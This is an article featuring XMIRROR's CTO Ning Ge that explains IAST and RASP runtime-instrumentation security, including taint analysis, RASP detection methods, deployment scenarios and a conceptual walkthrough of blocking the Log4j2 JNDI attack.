Gartner has listed IAST and RASP as among its top ten security technologies for many years. These two instrumentation-based approaches, like vaccines for codes, have become increasingly popular tools to uncover and mitigate application vulnerabilities.

In this article, we invited Mr. Ning Ge, CTO of XMIRROR,  to introduce the principles, technologies, and practical scenarios of ISAT and RASP in vulnerability assessment for application security.

The "code vaccine": ISAT and RASP

In recent years, technological advancement has accelerated the evolution of the entire software industry. Software development has become increasingly complex due to the upgrade of development models, application architecture, servers, and infrastructure. Furthermore, problems and challenges relating to software security also arise.

The ISAT/RASP technology, or "code vaccine" as we refer it in this article, is a paradigm shift in security technology that enables self-discovery and self-immunization of software runtime risks with the technology of runtime instrumentation.

This technology consists of four main characteristics:

1. Security experts don't need to analyze source code line by line;

2. No need to modify and adjust the original code logic;

3. Maintaining complex traffic filtering policies and rules is no longer necessary;

4. The risk of the application being implemented by third-party components will be noticed.

A "code vaccine" is similar to the medical definition of a vaccine in that it emphasizes preventing security risks at the point of development rather than relying on traditional exogenous security measures. Utilize single-probe instrumentation, IAST and RASP are vital components of code vaccine technology.

IAST (Interactive Application Security Testing) has emerged as a technology for security testing in recent years. Compared to SAST white-box security testing and DAST black-box security testing, IAST has a higher vulnerability detection rate. This approach is more adaptable to new scenarios, and is more applicable to today's increasingly popular DevOps scenarios.

RASP(Runtime Application Self-Protection) is more tightly coupled to the application and detects the runtime environment of the application through runtime instrumentation, unlike traditional WAFs and IDSs. In this way, RASP can intercept and secure calls from the application to the system and security attacks can be detected and blocked in real time.

The "code vaccine" integrates the capabilities of IAST and RASP to find vulnerabilities and block attacks. Combined into one IAST & RASP probe, the code vaccine will provide a comprehensive full-lifecycle integrated detection and protection system.

The technology of IAST and RASP

Both IAST and RASP rely on runtime instrumentation to implement their algorithms. Runtime instrumentation occurs at the application layer after the application launch by replacing the function body or inserting detection code before and after the function. Using instrumentation code allows quick access to data about the application at critical points.

Due to the differences in the runtime environments among languages, the instrumentation method varies. Java, for example, requires that the bytecode of the key classes and methods of concern be modified during the process of class loading to insert & detect logic.

Generally, IAST features traffic learning and log analysis modes by replaying and analyzing traffic and logs to detect anomalies. Moreover, IAST is utterly transparent to R&D testers and other users, and it does not interfere with a process or require a specific language.

A more specific definition of IAST refers to the runtime instrumentation mode, which can help R&D testers quickly complete business security tests, pinpoint vulnerabilities, and make appropriate repairs. Furthermore, IAST can be classified into two modes: active IAST, which utilizes instrumentation to analyze traffic data, and passive IAST, which employs dynamic taint analysis.

Based on runtime instrumentation, Dynamic taint analysis can track the impact of external controllable data on an application, and then analyze the corresponding data flow within the application to determine if the application is vulnerable. The advantages of dynamic IASTs include preventing replays and dirty data, compatibility with cryptographic signature interaces, and adaptability to complex scenarios.

In dynamic taint analysis, the overall process of taint spreading can be divided into three stages: taint input, taint spreading, and taint pooling.

All external data is assumed to be untrustworthy in the taint input stage, so taint tags must be added to them when they enter the application.

In the taint spreading stage, the main goal is to track the spreading process of tainted data. Since the external data is tainted when it enters the application, the resulting new data will also carry the taint tag when the data undergoes operations or string splicing and others.

During the taint pooling stage, it is necessary to monitor functions that may lead to vulnerabilities and determine whether the tainted data will converge on sensitive functions such as SQL execution or file reading/writing. The occurrence of this process may indicate that there is a vulnerability in the execution process of these functions in the application.

In certain circumstances, the tainted data may encounter a clean function during spreading, and the taint tag carried by the data may be removed through filtering or other measures to ensure the security of a specific data link . This is how the dynamic taint analysis was carried out.

A key component of RASP is the injection of security logic and protection features into the application through instrumentation, penetration into the application runtime environment, and detection and protection against unforeseen security threats and attacks (e.g., 0-day attacks) through analysis and understanding of data flow and event flow.

RASP can use this model to solve WAF's shortcomings, including the inability to correlate detection rules and functions, weakness in server-side defense, and difficulty adapting microservices.

RASP can obtain runtime contextual data. Firstly, there is HTTP request and response data and various RPC protocols, including Dubbo request and response data and different RPC frameworks, such as gRPC.

Another type is the execution data of the function of interest, which includes the complete parameters received by the function, the instance of the object calling the function, and the function's return value executed during dynamic runtime. Obtaining the performance status of the runtime function allows us to determine whether the data of interest is available during the execution of the running function.

The third type of data is the call stack generated during the execution of the function. Obtaining the complete function call stack will enable you to facilitate the analysis of vulnerabilities , attacks, and the behaviors of attackers.

Several types of deserialization attacks can be analyzed through the function call stack.

The fourth type of data is the information on the application configuration. Information such as the security configurations of the application, the setting of in-code attributes, and other information can provide a complete picture of whether the application has implemented the security policy.

RASP can be analyzed and applied following on the data of the acquired runtime context. The protection logics based on the runtime context be categorized according to the algorithm or detection logic used:

One of the most conventional approaches is rule-based matching, where acquired parameters or HTTP requests are matched synthetically by rules.

The second method is lexical analysis, which is the greatest strength of RASP. With the more comprehensive data obtained by RASP, RASP can perform lexical analysis for complete input such as SQL, command execution, and other data to determine any anomalies at the key points of function execution.

The third category is behavior and operation stack detection, which is primarily used to detect sensitive functions being executed. For example, when WebShell is implanted in the system, it bypasses detection through deformation obfuscation. However, it calls the underlying runtime API while executing system commands or file operations. Thus, behavior and runtime stack analysis can determine which functions or function calling stacks were called.

The fourth is the application configuration detection, which detects the code's dynamic security configuration and other configurations. Some vulnerabilities cannot be exploited after adding specific security configurations. This includes the pre-compilation of code to prevent SQL injection and the XXE shutdown of external entity access. This provides a comprehensive overview of the current state of security.

The above four methods can be employed together to achieve the self-protection of the application at runtime.

In an overall protection system, RASP is coupled with each application while not conflicting with WAF, IDS/IPS, firewalls, etc. It is appropriate for modern application architectures and development and is compatible with both applications and microservices. Therefore, each security solution forms part of an in-depth defense strategy.

Practice Scenario of IAST and RASP

Four main scenarios can be applied to the practice of IAST and RASP. The first step is to integrate detection and protection into DevOps. Because probes are relatively lightweight, they can be released online along with the pipeline. In the development and testing process, IAST can be used for vulnerability detection, and RASP can be enabled for vulnerability protection following go-live, thereby integrating detection and protection of the whole process and improving the efficiency of the DevOps process.

The second scenario is the red-blue test. RASP plays the role of an advanced vulnerability protection tool in this scenario. To date, the red-blue test is usually applied to zero-days, one-days, or some undisclosed EXPs for attack and defense. Traditional traffic means have difficulty coping with this, while RASP can handle some advanced attacks.

The third aspect is contingency planning for unexpected vulnerabilities. RASP is capable of providing detection against threats based on behavior and call stack location, which would mitigate 0-day and 1-day attacks to some extent and provide time for remediation of vulnerabilities. RASP also offers hot patching, which can help protect against the first wave of vulnerability attacks by configuring some settings.

The fourth scenario pertains to the application's "self-immunity". With a containerized environment, probe and application can be packaged so that the application can provide its own attack protection after going live.

Performance and fusion issues are also of concern to the "code vaccine" that will provide fusing policies based on CPU, memory, or QPS/TPS. For instance, the "code vaccine" will set CPU, memory, and QPS/TPS thresholds. If those thresholds are exceeded, the probe will be fused and downgraded to ensure the business is prioritized and no business is adversely affected.

There is a set of closed-loop management of application risks for IAST and RASP. In the IAST, automated vulnerability validation is performed after a vulnerability is discovered, and data replay is performed by adding a payload to the parameter points (the amount of replay is small). A notification will be sent to the corresponding individual through the console if there is a vulnerability. At this point, the person in charge has the option of repairing the vulnerabilities or activating the hotfix function.

We could take the example of the remote code execution vulnerability of Log4j2 in 2021 to sort out the protection process. This vulnerability occurs in the system when an interface of the application or the implementation behind the interface applies a component of Log4j2, and turns on the modular JNDI's Log4j in-stack service output and log output.

An attacker who has discovered the vulnerability may send an HTTP request based on the vulnerable interface, and the JNDI-injected data is passed into the Log4j write logging operation. The vulnerability will be triggered upon executing the write log operation, and the attacker's server will be requested to load an external class file into the application, resulting in remote code execution.

RASP can intercept a number of steps in the process:

When a write log request is sent, a SSRF-like request will be sent internally, which is the first layer of protection.

Meanwhile, RASP can intercept a JNDI injection performed by an attacker and take appropriate measures against an attacker's execution of a command.

Once the vulnerability's cause has been identified, it can be identified using accurate instrumentation by the hotfix. Meanwhile, based on the instrumentation, we should clarify all the components and versions that the application depends upon, and analyze the component vulnerability by using SCA or OSS as well. In this way, "code vaccines" can provide better protection against 0-days(such as Log4j2), giving the security team more time to fix their bugs.

Guest Introduction

Ning Ge, the Chief Technology Officer of XMIRROR, has ten years of experience in the field of security research. He specializes in system and application software vulnerability detection, automated detection technologies, and DevSecOps system productization techniques. Among his responsibilities are designing and developing multiple product lines, including IAST, RASP, and SCA. Throughout her career, Ning has also contributed to a number of national research projects on security. He has been awarded numerous awards in the field of cybersecurity and has many original invention patents authorized.